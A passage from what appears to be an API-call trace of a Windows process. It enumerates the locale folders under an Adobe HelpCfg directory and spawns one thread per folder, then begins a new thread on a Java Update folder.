(x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.651] wcscat (in: _Dest=0x43b870, _Source="it_IT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" [0049.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43b870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0049.652] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1 [0049.652] wcscmp (_String1="ja_JP", _String2=".") returned 1 [0049.652] wcscmp (_String1="ja_JP", _String2="..") returned 1 [0049.652] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b8e8 [0049.652] wcscpy (in: _Dest=0x43b8e8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.652] wcscat (in: _Dest=0x43b8e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.652] wcscat (in: _Dest=0x43b8e8, _Source="ja_JP" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" [0049.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43b8e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550 [0049.653] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1 [0049.653] wcscmp (_String1="ko_KR", _String2=".") returned 1 [0049.653] wcscmp (_String1="ko_KR", _String2="..") returned 1 [0049.653] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b960 [0049.654] wcscpy (in: _Dest=0x43b960, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.654] wcscat (in: _Dest=0x43b960, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.654] wcscat (in: _Dest=0x43b960, _Source="ko_KR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" [0049.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43b960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec [0049.655] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1 [0049.655] wcscmp (_String1="nb_NO", _String2=".") returned 1 [0049.655] wcscmp (_String1="nb_NO", _String2="..") returned 1 [0049.655] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b9d8 [0049.655] wcscpy (in: _Dest=0x43b9d8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.655] wcscat (in: _Dest=0x43b9d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.655] wcscat (in: _Dest=0x43b9d8, _Source="nb_NO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" [0049.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43b9d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c [0049.656] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0049.656] wcscmp (_String1="nl_NL", _String2=".") returned 1 [0049.656] wcscmp (_String1="nl_NL", _String2="..") returned 1 [0049.656] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43ba50 [0049.656] wcscpy (in: _Dest=0x43ba50, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.656] wcscat (in: _Dest=0x43ba50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.656] wcscat (in: _Dest=0x43ba50, _Source="nl_NL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" [0049.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43ba50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4 [0049.658] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1 [0049.658] wcscmp (_String1="pl_PL", _String2=".") returned 1 [0049.658] wcscmp (_String1="pl_PL", _String2="..") returned 1 [0049.658] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43bac8 [0049.658] wcscpy (in: _Dest=0x43bac8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.658] wcscat (in: _Dest=0x43bac8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.658] wcscat (in: _Dest=0x43bac8, _Source="pl_PL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" [0049.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43bac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0049.659] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0049.659] wcscmp (_String1="pt_BR", _String2=".") returned 1 [0049.659] wcscmp (_String1="pt_BR", _String2="..") returned 1 [0049.659] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43bb40 [0049.659] wcscpy (in: _Dest=0x43bb40, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.659] wcscat (in: _Dest=0x43bb40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.660] wcscat (in: _Dest=0x43bb40, _Source="pt_BR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" [0049.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43bb40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0049.661] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1 [0049.661] wcscmp (_String1="ro_RO", _String2=".") returned 1 [0049.661] wcscmp (_String1="ro_RO", _String2="..") returned 1 [0049.661] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43bbb8 [0049.661] wcscpy (in: _Dest=0x43bbb8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.661] wcscat (in: _Dest=0x43bbb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.661] wcscat (in: _Dest=0x43bbb8, _Source="ro_RO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" [0049.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43bbb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544 [0049.662] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1 [0049.662] wcscmp (_String1="ru_RU", _String2=".") returned 1 [0049.662] wcscmp (_String1="ru_RU", _String2="..") returned 1 [0049.662] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43bc30 [0049.662] wcscpy (in: _Dest=0x43bc30, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.662] wcscat (in: _Dest=0x43bc30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.662] wcscat (in: _Dest=0x43bc30, _Source="ru_RU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" [0049.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43bc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390 [0049.664] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1 [0049.664] wcscmp (_String1="sk_SK", _String2=".") returned 1 [0049.664] wcscmp (_String1="sk_SK", _String2="..") returned 1 [0049.664] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43bca8 [0049.664] wcscpy (in: _Dest=0x43bca8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.664] wcscat (in: _Dest=0x43bca8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.664] wcscat (in: _Dest=0x43bca8, _Source="sk_SK" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" [0049.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43bca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760 [0049.665] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1 [0049.665] wcscmp (_String1="sl_SI", _String2=".") returned 1 [0049.665] wcscmp (_String1="sl_SI", _String2="..") returned 1 [0049.665] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43bd20 [0049.665] wcscpy (in: _Dest=0x43bd20, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.665] wcscat (in: _Dest=0x43bd20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.665] wcscat (in: _Dest=0x43bd20, _Source="sl_SI" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" [0049.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43bd20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8 [0049.666] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1 [0049.666] wcscmp (_String1="sv_SE", _String2=".") returned 1 [0049.666] wcscmp (_String1="sv_SE", _String2="..") returned 1 [0049.666] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43bd98 [0049.667] wcscpy (in: _Dest=0x43bd98, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.667] wcscat (in: _Dest=0x43bd98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.667] wcscat (in: _Dest=0x43bd98, _Source="sv_SE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" [0049.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43bd98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0049.668] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr_TR", cAlternateFileName="")) returned 1 [0049.668] wcscmp (_String1="tr_TR", _String2=".") returned 1 [0049.668] wcscmp (_String1="tr_TR", _String2="..") returned 1 [0049.668] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43be10 [0049.668] wcscpy (in: _Dest=0x43be10, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.668] wcscat (in: _Dest=0x43be10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.668] wcscat (in: _Dest=0x43be10, _Source="tr_TR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR" [0049.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43be10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c [0049.669] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk_UA", cAlternateFileName="")) returned 1 [0049.669] wcscmp (_String1="uk_UA", _String2=".") returned 1 [0049.669] wcscmp (_String1="uk_UA", _String2="..") returned 1 [0049.670] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43be88 [0049.670] wcscpy (in: _Dest=0x43be88, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.670] wcscat (in: _Dest=0x43be88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.670] wcscat (in: _Dest=0x43be88, _Source="uk_UA" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" [0049.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43be88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430 [0051.178] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0051.178] wcscmp (_String1="zh_CN", _String2=".") returned 1 [0051.178] wcscmp (_String1="zh_CN", _String2="..") returned 1 [0051.178] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5490 [0051.178] wcscpy (in: _Dest=0x5ed5490, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0051.178] wcscat (in: _Dest=0x5ed5490, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0051.178] wcscat (in: _Dest=0x5ed5490, _Source="zh_CN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" [0051.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ed5490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0051.393] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0051.393] wcscmp (_String1="zh_TW", _String2=".") returned 1 [0051.393] wcscmp (_String1="zh_TW", _String2="..") returned 1 [0051.393] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x419040 [0051.393] wcscpy (in: _Dest=0x419040, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0051.393] wcscat (in: _Dest=0x419040, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0051.393] wcscat (in: _Dest=0x419040, _Source="zh_TW" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" [0051.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x419040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c [0051.395] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0051.890] FindClose (in: hFindFile=0x4403a0 | out: hFindFile=0x4403a0) returned 1 [0059.035] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45a3d0) returned 1 [0059.035] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4213b8) returned 1 [0059.036] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420e78) returned 1 Thread: id = 231 os_tid = 0x86c [0046.767] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x4191a8 [0046.767] wcscpy (in: _Dest=0x4191a8, _Source="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0046.767] wcscat (in: _Dest=0x4191a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common 